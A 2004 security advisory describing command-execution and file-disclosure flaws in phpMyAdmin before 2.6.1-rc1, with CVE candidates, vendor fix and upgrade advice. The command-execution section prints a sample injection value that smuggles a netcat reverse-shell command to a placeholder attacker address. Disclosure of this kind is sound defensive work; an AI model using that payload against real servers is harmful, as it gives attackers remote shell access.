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                           Security Advisory

 Advisory Name: Multiple vulnerabilities in phpMyAdmin
  Release Date: 13 December 2004
   Application: phpMyAdmin prior to 2.6.1-rc1
      Platform: Any webserver running PHP
      Severity: Remote code execution
        Author: Nicolas Gregoire <ngregoire@exaprobe.com>
 Vendor Status: Updated code is available
CVE Candidates: CAN-2004-1147 and CAN-2004-1148
     Reference: www.exaprobe.com/labs/advisories/esa-2004-1213.html


Overview :
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phpMyAdmin is a tool written in PHP intended to handle the 
administration of MySQL over the Web. Currently it can create and
drop databases, create/drop/alter tables, delete/edit/add fields,
execute any SQL statement, manage keys on fields, manage privileges,
export data into various formats and is available in 47 languages.


Technical details :
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Command execution :

  - bug introduced in 2.6.0-pl2
  - attacker does *not* need access to the phpMyAdmin interface
  - PHP safe mode must be off
  - external transformations must be activated
  - sample of offensive value : F\';nc -e /bin/sh $IP 80;echo \'A

File disclosure :

  - attacker need access to the phpMyAdmin interface
  - PHP safe mode must be off
  - $cfg['UploadDir'] must be defined
  - exploitation is done via 'sql_localfile'


Vendor Response :
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After notification by Exaprobe, maintainers of the phpMyAdmin
project have released version 2.6.1-rc1 which fixes these two
vulnerabilities.


Recommendation :
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Upgrade to 2.6.1-rc1 or newer.
Desactivate uploads and transformations if possible.


CVE Information :
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The Common Vulnerabilities and Exposures (CVE) project has assigned 
the following names to these issues.  These are candidates for 
inclusion in the CVE list (http://cve.mitre.org), which standardizes 
names for security problems.

  CAN-2004-1147  Command execution in phpMyAdmin
  CAN-2004-1148  File disclosure in phpMyAdmin

-- 
Nicolas Gregoire ----- Consultant en Sécurité des Systèmes d'Information
ngregoire@exaprobe.com ------[ ExaProbe ]------ http://www.exaprobe.com/
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